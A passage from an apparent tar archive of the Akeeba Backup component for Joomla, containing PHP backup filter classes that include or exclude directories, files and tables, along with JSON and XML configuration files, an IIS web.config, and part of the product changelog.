			switch (count($arguments))
			{
				case 0 :
					$result = $this->dbo->$name();
					break;
				case 1 :
					$result = $this->dbo->$name($arguments[0]);
					break;
				case 2:
					$result = $this->dbo->$name($arguments[0], $arguments[1]);
					break;
				case 3:
					$result = $this->dbo->$name($arguments[0], $arguments[1], $arguments[2]);
					break;
				case 4:
					$result = $this->dbo->$name($arguments[0], $arguments[1], $arguments[2], $arguments[3]);
					break;
				case 5:
					$result = $this->dbo->$name($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4]);
					break;
				default:
					// Resort to using call_user_func_array for many segments
					$result = call_user_func_array([$this->dbo, $name], $arguments);
			}

			return $result;
		}
		else
		{
			throw new Exception('Method ' . $name . ' not found in Akeeba Platform');
		}
	}

	public function __get($name)
	{
		if (isset($this->dbo->$name) || property_exists($this->dbo, $name))
		{
			return $this->dbo->$name;
		}
		else
		{
			$this->dbo->$name = null;

			user_error('Database driver does not support property ' . $name);
		}

		return null;
	}

	public function __set($name, $value)
	{
		if (isset($this->dbo->name) || property_exists($this->dbo, $name))
		{
			$this->dbo->$name = $value;
		}
		else
		{
			$this->dbo->$name = null;
			user_error('Database driver not support property ' . $name);
		}
	}
}
com_akeeba/BackupPlatform/Joomla3x/Config/02.advanced.json000060400000002732152455305260017314 0ustar00{
    "_group": {
        "description": "COM_AKEEBA_CONFIG_ADVANCED"
    },
    "akeeba.advanced.dump_engine": {
        "default": "native",
        "type": "engine",
        "subtype": "dump",
        "title": "COM_AKEEBA_CONFIG_DUMPENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_DUMPENGINE_DESCRIPTION",
        "protected": "0"
    },
    "akeeba.advanced.scan_engine": {
        "default": "smart",
        "type": "engine",
        "subtype": "scan",
        "protected": "1",
        "title": "COM_AKEEBA_CONFIG_SCANENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SCANENGINE_DESCRIPTION"
    },
    "akeeba.advanced.archiver_engine": {
        "default": "jpa",
        "type": "engine",
        "subtype": "archiver",
        "title": "COM_AKEEBA_CONFIG_ARCHIVERENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ARCHIVERENGINE_DESCRIPTION"
    },
    "akeeba.advanced.postproc_engine": {
        "default": "none",
        "type": "none",
        "protected": "1"
    },
    "akeeba.advanced.embedded_installer": {
        "default": "angie",
        "type": "installer",
        "title": "COM_AKEEBA_CONFIG_INSTALLER_TITLE",
        "description": "COM_AKEEBA_CONFIG_INSTALLER_DESCRIPTION",
        "protected": "0"
    },
    "engine.installer.angie.key": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_ANGIE_KEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_ANGIE_KEY_DESCRIPTION",
        "protected": "0"
    }
}com_akeeba/BackupPlatform/Joomla3x/Filter/Joomlaskipfiles.php000060400000010141152455305260020311 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;

/**
 * Subdirectories exclusion filter. Excludes temporary, cache and backup output
 * directories' contents from being backed up.
 */
class Joomlaskipfiles extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'content';
		$this->method      = 'direct';
		$this->filter_name = 'Joomlaskipfiles';

		// We take advantage of the filter class magic to inject our custom filters
		$configuration = Factory::getConfiguration();
		$container     = Container::getInstance('com_akeeba');
		$jreg          = $container->platform->getConfig();

		$tmpdir  = $jreg->get('tmp_path');
		$logsdir = $jreg->get('log_path');

		// Get the site's root
		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[$root] = [
			// Output & temp directory of the component
			$this->treatDirectory($configuration->get('akeeba.basic.output_directory')),

			// Joomla! temporary directory
			$this->treatDirectory($tmpdir),

			// Joomla! logs directory
			$this->treatDirectory($logsdir),

			// default temp directory
			$this->treatDirectory(JPATH_SITE . '/tmp'),
			'tmp',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/tmp'),

			// Joomla! front- and back-end cache, as reported by Joomla!
			$this->treatDirectory(JPATH_CACHE),
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/cache'),
			$this->treatDirectory(JPATH_ROOT . '/cache'),
			// cache directories fallback
			'cache',
			'administrator/cache',
			// Joomla! front- and back-end cache, as calculated by us (redundancy, for funky server setups)
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/cache'),
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/cache'),

			// This is not needed except on sites running SVN or beta releases
			$this->treatDirectory(JPATH_ROOT . '/installation'),
			// ...and the fallbacks
			'installation',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/installation'),

			// Default backup output (many people change it, forget to remove old backup archives and they end up backing up old backups)
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/components/com_akeeba/backup'),
			'administrator/components/com_akeeba/backup',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/components/com_akeeba/backup'),

			// MyBlog's cache
			$this->treatDirectory(JPATH_SITE . '/components/libraries/cmslib/cache'),
			// ...and fallbacks
			'components/libraries/cmslib/cache',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/components/libraries/cmslib/cache'),

			// Used by Plesk to store its logs. It's in the public root, owned by root and read-only. Yipee!
			$this->treatDirectory(JPATH_ROOT . '/logs'),
			'logs',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/logs'),

			// Some developers hardcode this path for their log files. I guess they never heard of Joomla!'s Global Configuration?
			$this->treatDirectory(JPATH_ROOT . '/log'),
			'log',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/log'),

			// Joomla! 3.6 is loads of fun. It changed the logs folder location.
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/logs'),
			'administrator/logs',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/logs'),

			// Also in case a Joomla! 3.6 site admin cocks up, let's try a singular folder name.
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/log'),
			'administrator/log',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/log'),
		];

		parent::__construct();
	}
}
com_akeeba/BackupPlatform/Joomla3x/Filter/Excludetabledata.php000060400000001643152455305260020420 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Subdirectories exclusion filter. Excludes temporary, cache and backup output
 * directories' contents from being backed up.
 */
class Excludetabledata extends Base
{
	public function __construct()
	{
		$this->object      = 'dbobject';
		$this->subtype     = 'content';
		$this->method      = 'direct';
		$this->filter_name = 'Excludetabledata';

		// We take advantage of the filter class magic to inject our custom filters
		$this->filter_data['[SITEDB]'] = array(
			'#__session',        // Sessions table
			'#__guardxt_runs'    // Guard XT's run log (bloated to the bone)
		);

		parent::__construct();
	}

}
com_akeeba/BackupPlatform/Joomla3x/Filter/Joomlaskipdirs.php000060400000010140152455305260020147 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;

/**
 * Subdirectories exclusion filter. Excludes temporary, cache and backup output
 * directories' contents from being backed up.
 */
class Joomlaskipdirs extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'children';
		$this->method      = 'direct';
		$this->filter_name = 'Joomlaskipdirs';

		// We take advantage of the filter class magic to inject our custom filters
		$configuration = Factory::getConfiguration();
		$container     = Container::getInstance('com_akeeba');
		$jreg          = $container->platform->getConfig();

		$tmpdir  = $jreg->get('tmp_path');
		$logsdir = $jreg->get('log_path');

		// Get the site's root
		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[$root] = [
			// Output & temp directory of the component
			$this->treatDirectory($configuration->get('akeeba.basic.output_directory')),

			// Joomla! temporary directory
			$this->treatDirectory($tmpdir),

			// Joomla! logs directory
			$this->treatDirectory($logsdir),

			// default temp directory
			$this->treatDirectory(JPATH_SITE . '/tmp'),
			'tmp',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/tmp'),

			// Joomla! front- and back-end cache, as reported by Joomla!
			$this->treatDirectory(JPATH_CACHE),
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/cache'),
			$this->treatDirectory(JPATH_ROOT . '/cache'),
			// cache directories fallback
			'cache',
			'administrator/cache',
			// Joomla! front- and back-end cache, as calculated by us (redundancy, for funky server setups)
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/cache'),
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/cache'),

			// This is not needed except on sites running SVN or beta releases
			$this->treatDirectory(JPATH_ROOT . '/installation'),
			// ...and the fallbacks
			'installation',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/installation'),

			// Default backup output (many people change it, forget to remove old backup archives and they end up backing up old backups)
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/components/com_akeeba/backup'),
			'administrator/components/com_akeeba/backup',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/components/com_akeeba/backup'),

			// MyBlog's cache
			$this->treatDirectory(JPATH_SITE . '/components/libraries/cmslib/cache'),
			// ...and fallbacks
			'components/libraries/cmslib/cache',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/components/libraries/cmslib/cache'),

			// Used by Plesk to store its logs. It's in the public root, owned by root and read-only. Yipee!
			$this->treatDirectory(JPATH_ROOT . '/logs'),
			'logs',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/logs'),

			// Some developers hardcode this path for their log files. I guess they never heard of Joomla!'s Global Configuration?
			$this->treatDirectory(JPATH_ROOT . '/log'),
			'log',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/log'),

			// Joomla! 3.6 is loads of fun. It changed the logs folder location.
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/logs'),
			'administrator/logs',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/logs'),

			// Also in case a Joomla! 3.6 site admin cocks up, let's try a singular folder name.
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/log'),
			'administrator/log',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/log'),
		];

		parent::__construct();
	}
}
com_akeeba/BackupPlatform/Joomla3x/Filter/Cvsfolders.php000060400000002051152455305260017271 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Folder exclusion filter based on regular expressions
 */
class Cvsfolders extends Base
{
	function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'all';
		$this->method      = 'regex';
		$this->filter_name = 'Cvsfolders';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[$root] = array(
			'#/\.git$#',
			'#^\.git$#',
			'#/\.svn$#',
			'#^\.svn$#'
		);
	}
}
com_akeeba/BackupPlatform/Joomla3x/Filter/Siteroot.php000060400000002225152455305260016772 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Add site's root to the backup set.
 */
class Siteroot extends Base
{
	public function __construct()
	{
		// This is a directory inclusion filter.
		$this->object      = 'dir';
		$this->subtype     = 'inclusion';
		$this->method      = 'direct';
		$this->filter_name = 'Siteroot';

		// Directory inclusion format:
		// array(real_directory, add_path)
		$add_path = null; // A null add_path means that we dump this dir's contents in the archive's root

		// We take advantage of the filter class magic to inject our custom filters
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[] = array(
			$root,
			$add_path
		);

		parent::__construct();
	}
}
com_akeeba/BackupPlatform/Joomla3x/Filter/Systemcachefiles.php000060400000002150152455305260020452 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Files exclusion filter based on regular expressions
 */
class Systemcachefiles extends Base
{
	function __construct()
	{
		$this->object      = 'file';
		$this->subtype     = 'all';
		$this->method      = 'regex';
		$this->filter_name = 'Systemcachefiles';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[$root] = array(
			'#/Thumbs\.db$#',
			'#^Thumbs\.db$#',
			'#/\.DS_Store$#i',
			'#^\.DS_Store$#i',
			'#^core\.[\d]{1,10}$#i',
		);
	}
}
com_akeeba/BackupPlatform/Joomla3x/Filter/Libraries.php000060400000003750152455305260017102 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Joomla! 1.6 libraries off-site relocation workaround
 *
 * After the application of patch 23377
 * (http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=23377)
 * it is possible for the webmaster to move the libraries directory of his Joomla!
 * site to an arbitrary location in the folder tree. This filter works around this
 * new feature by creating a new extra directory inclusion filter.
 */
class Libraries extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'inclusion';
		$this->method      = 'direct';
		$this->filter_name = 'Libraries';

		// FIXME This filter doesn't work very well on many live hosts. Disabled for now.
		parent::__construct();

		return;


		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		// Get the saved library path and compare it to the default
		$jlibdir = Platform::getInstance()->get_platform_configuration_option('jlibrariesdir', '');
		if (empty($jlibdir))
		{
			if (defined('JPATH_LIBRARIES'))
			{
				$jlibdir = JPATH_LIBRARIES;
			}
			elseif (defined('JPATH_PLATFORM'))
			{
				$jlibdir = JPATH_PLATFORM;
			}
			else
			{
				$jlibdir = false;
			}
		}

		if ($jlibdir !== false)
		{
			$jlibdir          = Factory::getFilesystemTools()->TranslateWinPath($jlibdir);
			$defaultLibraries = Factory::getFilesystemTools()->TranslateWinPath(JPATH_SITE . '/libraries');

			if ($defaultLibraries != $jlibdir)
			{
				// The path differs, add it here
				$this->filter_data['JPATH_LIBRARIES'] = $jlibdir;
			}
		}
		else
		{
			$this->filter_data = array();
		}
		parent::__construct();
	}
}
com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/finder.json000060400000000424152455305260017657 0ustar00{
    "core.filters.finder.enabled": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION",
        "bold": "1"
    }
}com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/actionlogs.json000060400000000440152455305260020550 0ustar00{
    "core.filters.actionlogs.enabled": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION",
        "bold": "1"
    }
}com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/StackFinder.php000060400000006407152455305260020432 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter\Stack;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Filter\Base as FilterBase;

/**
 * Date conditional filter
 *
 * It will only backup files modified after a specific date and time
 *
 * @since  3.4.0
 */
class StackFinder extends FilterBase
{
	/** @inheritDoc */
	public function __construct()
	{
		parent::__construct();

		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'api';
	}

	/**
	 * Extra SQL statements to append to the SQL dump file.
	 *
	 * Joomla 4's #__finder_taxonomy table is a tree. We always need a root node. This adds the root node back to the
	 * tree even though we just excluded it.
	 *
	 * @param   string  $root  The database for which to get the extra SQL statements
	 *
	 * @return  string  Extra SQL statements
	 *
	 * @since   7.2.0
	 */
	public function getExtraSQL(string $root): array
	{
		// Only run on Joomla! 4 and for the main site database
		if (($root != '[SITEDB]') || !version_compare(JVERSION, '3.999.999', 'gt'))
		{
			return [];
		}

		// Get the SQL query, constructed correctly for the DB technology in use.
		$db  = Factory::getDatabase();
		$sql = (string) $db->getQuery(true)
			->insert($db->quoteName('#__finder_taxonomy'))
			->columns(array_map([$db, 'quoteName'], [
				'id', 'parent_id', 'lft', 'rgt', 'level', 'path', 'title', 'alias', 'state', 'access', 'language',
			]))
			->values(implode(", ", array_map([$db, 'quote'], [
				1, 0, 0, 1, 0, '', 'ROOT', 'root', 1, 1, '*',
			])));

		// Make sure there's a trailing semicolon before returning the SQL query.
		$sql = rtrim(trim($sql), ';') . ';';

		return [$sql];
	}

	/**
	 * This method must be overriden by API-type exclusion filters.
	 *
	 * @param   string  $test  The object to test for exclusion
	 * @param   string  $root  The object's root
	 *
	 * @return  bool    Return true if it matches your filters
	 *
	 * @since   3.4.0
	 */
	protected function is_excluded_by_api($test, $root)
	{
		static $finderTables = [
			/**
			 * Common tables, J3 and J4.
			 *
			 * Note that the taxonomy table contents are removed BUT the root node for Joomla 4 is added back with the
			 * getExtraSQL() method trick.
			 */
			'#__finder_links', '#__finder_taxonomy', '#__finder_taxonomy_map', '#__finder_terms',
			// Joomla 3 only
			'#__finder_links_terms0', '#__finder_links_terms1',
			'#__finder_links_terms2', '#__finder_links_terms3', '#__finder_links_terms4',
			'#__finder_links_terms5', '#__finder_links_terms6', '#__finder_links_terms7',
			'#__finder_links_terms8', '#__finder_links_terms9', '#__finder_links_termsa',
			'#__finder_links_termsb', '#__finder_links_termsc', '#__finder_links_termsd',
			'#__finder_links_termse', '#__finder_links_termsf',
			// Joomla 4 only
			'#__finder_links_terms', '#__finder_logging',
		];

		// Not the site's database? Include the tables
		if ($root != '[SITEDB]')
		{
			return false;
		}

		// Is it one of the blacklisted tables?
		if (in_array($test, $finderTables))
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/StackActionlogs.php000060400000001471152455305260021321 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter\Stack;

use Akeeba\Engine\Filter\Base;

// Protection against direct access
defined('AKEEBAENGINE') || die();

/**
 * Exclude Joomla 3.9+ actions log table
 */
class StackActionlogs extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'api';

		parent::__construct();
	}

	protected function is_excluded_by_api($test, $root)
	{
		static $excluded = [
			'#__action_logs',
		];

		// Is it one of the blacklisted tables?
		if (in_array($test, $excluded))
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
com_akeeba/BackupPlatform/Joomla3x/Filter/Sitedb.php000060400000005352152455305260016400 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Add site's main database to the backup set.
 */
class Sitedb extends Base
{
	public function __construct()
	{
		// This is a directory inclusion filter.
		$this->object      = 'db';
		$this->subtype     = 'inclusion';
		$this->method      = 'direct';
		$this->filter_name = 'Sitedb';

		// Add a new record for the core Joomla! database
		// Get core database options
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_db', 0))
		{
			$options = array(
				'port'     => $configuration->get('akeeba.platform.dbport', ''),
				'host'     => $configuration->get('akeeba.platform.dbhost', ''),
				'user'     => $configuration->get('akeeba.platform.dbusername', ''),
				'password' => $configuration->get('akeeba.platform.dbpassword', ''),
				'database' => $configuration->get('akeeba.platform.dbname', ''),
				'prefix'   => $configuration->get('akeeba.platform.dbprefix', ''),
			);
			$driver  = '\\Akeeba\\Engine\\Driver\\' . ucfirst($configuration->get('akeeba.platform.dbdriver', 'mysqli'));
		}
		else
		{
			$options = Platform::getInstance()->get_platform_database_options();
			$driver  = Platform::getInstance()->get_default_database_driver(true);
		}


		$host = $options['host'];
		$port = array_key_exists('port', $options) ? $options['port'] : null;

		if (empty($port))
		{
			$port = null;
		}

		$socket     = null;
		$targetSlot = substr(strstr($host, ":"), 1);

		if ( !empty($targetSlot))
		{
			// Get the port number or socket name
			if (is_numeric($targetSlot) && is_null($port))
			{
				$port = $targetSlot;
			}
			else
			{
				$socket = $targetSlot;
			}

			// Extract the host name only
			$host = substr($host, 0, strlen($host) - (strlen($targetSlot) + 1));
			// This will take care of the following notation: ":3306"
			if ($host == '')
			{
				$host = 'localhost';
			}
		}

		// This is the format of the database inclusion filters
		$entry = array(
			'host'     => $host,
			'port'     => is_null($socket) ? (is_null($port) ? '' : $port) : $socket,
			'username' => $options['user'],
			'password' => $options['password'],
			'database' => $options['database'],
			'prefix'   => $options['prefix'],
			'dumpFile' => 'site.sql',
			'driver'   => $driver
		);

		// We take advantage of the filter class magic to inject our custom filters
		$configuration = Factory::getConfiguration();

		$this->filter_data['[SITEDB]'] = $entry;

		parent::__construct();
	}
}
com_akeeba/BackupPlatform/Joomla3x/Filter/Excludefiles.php000060400000002144152455305260017576 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Subdirectories exclusion filter. Excludes temporary, cache and backup output
 * directories' contents from being backed up.
 */
class Excludefiles extends Base
{
	public function __construct()
	{
		$this->object      = 'file';
		$this->subtype     = 'all';
		$this->method      = 'direct';
		$this->filter_name = 'Excludefiles';

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		// We take advantage of the filter class magic to inject our custom filters
		$this->filter_data[$root] = array(
			'kickstart.php',
			'error_log',
			'administrator/error_log'
		);

		parent::__construct();
	}

}
com_akeeba/BackupPlatform/Joomla3x/Filter/Excludefolders.php000060400000002016152455305260020130 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Folder exclusion filter. Excludes certain hosting directories.
 */
class Excludefolders extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'all';
		$this->method      = 'direct';
		$this->filter_name = 'Excludefolders';

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		// We take advantage of the filter class magic to inject our custom filters
		$this->filter_data[$root] = [
			'.cagefs',
			'awstats',
			'cgi-bin',
		];

		parent::__construct();
	}

}
com_akeeba/BackupPlatform/web.config000060400000001025152455305260013471 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/fof.xml000060400000001472152455305260010115 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<fof>
    <common>
        <container>
            <option name="componentNamespace">Akeeba\Backup</option>
            <option name="factoryClass">FOF40\Factory\BasicFactory</option>
            <option name="scaffolding">0</option>
            <option name="saveScaffolding">0</option>
            <option name="rendererClass">FOF40\Render\FEF</option>
        </container>
    </common>

    <backend>
        <model name="Profiles">
            <behaviors>Filters</behaviors>
        </model>
        <model name="Stats">
            <behaviors>Filters</behaviors>
        </model>
    </backend>
</fof>
com_akeeba/CHANGELOG.php000060400000104136152455305260010622 0ustar00<?php die();?>
Akeeba Backup 8.4.1
================================================================================
~ Automatically exclude the .cagefs directory present in some cPanel installations
# [HIGH] Some OneDrive multipart uploads fail
# [LOW] WebDAV: deleting backups may file on some servers
# [HIGH] Box: cannot refresh the authentication token

Akeeba Backup 8.4.0
================================================================================
- Remove the Joomla! version reminder
- Remove CURLOPT_BINARYTRANSFER
+ Separate remote and local quota settings
+ Upload to OneDrive (app-specific folder)
+ Support for uploading to Shared With Me folders in Google Drive
+ Expert options for the Upload to Amazon S3 configuration
+ Self-hosted OAuth2 helpers
+ Alternate Configuration page saving method which doesn't hit maximum POST parameter count limits
+ Option to avoid using `flush()` on broken servers
+ Remove MariaDB MyISAM option PAGE_CHECKSUM from the database dump
+ Restoration: Use transactions to speed up large table restoration
+ Restoration: Automatically downgrade utf8mb4_900_* collations to utf8mb4_unicode_520_ci on MariaDB
+ Restoration: allows you to change the robots (search engine) option
~ Improved mixed– and upper–case database prefix support at backup time
~ Prevent backup failure on push notification error
~ Change the wording of the message when navigating to an off-site directory in the directory browser
~ Improve database dump with table names similar to default values
~ PHP 8.4 compatibility changes
# [MEDIUM] Tables or databases named `0` can cause the database dump to stop prematurely, or not execute at all
# [LOW] Deprecation notice in Configuration Wizard
# [LOW] Restoration error when you have a newer Admin Tools version installed
# [LOW] Cannot transfer files to DreamObjects and Google Storage using the S3 API

Akeeba Backup 8.3.4
================================================================================
+ Workaround for Wasabi S3v4 signatures
# [MEDIUM] Upload to S3 would always use v2 signatures with a custom endpoint.
# [MEDIUM] PHP 8.2 compatibility in Site Transfer Wizard

Akeeba Backup 8.3.3
================================================================================
# [MEDIUM] Resetting corrupt backups can cause a crash
# [LOW] Wrong mixed case detection

Akeeba Backup 8.3.2
================================================================================
! FINAL VERSION FOR JOOMLA! 3
# [LOW] Test FTP Connection does not work in the Configuration page

Akeeba Backup 8.3.1
================================================================================
# [MEDIUM] HTTP PUT might fail on some servers
# [LOW] opcache_invalidate may not invalidate a file
# [LOW] Would not work on 32-bit versions of PHP

Akeeba Backup 8.3.0
================================================================================
+ Support for files and archives over 2GiB (JPA file format 1.3)
~ Stops Joomla from lying about whether our software supports Joomla 4

Akeeba Backup 8.2.8
================================================================================
~ Disabled deprecated API methods
~ Improve the Schedule Automatic Backups page
# [LOW] Joomla ShowOn is not available on ancient Joomla 3.9 builds (e.g. 3.9.0)

Akeeba Backup 8.2.7
================================================================================
# [HIGH] Cannot select extra options for OAuth2-based post-processing engines

Akeeba Backup 8.2.7
================================================================================
+ Option to treat failed uploads as a backup error

Akeeba Backup 8.2.6
================================================================================
! A packaging issue broke the restoration script in backup archives

Akeeba Backup 8.2.5
================================================================================
# [HIGH] Cannot open the Step 1 - Authentication page for OAuth2-based post-processing engines

Akeeba Backup 8.2.4
================================================================================
# [HIGH] Some password managers prevent successful submission of the Site Setup page (you get an error about a missing email address)
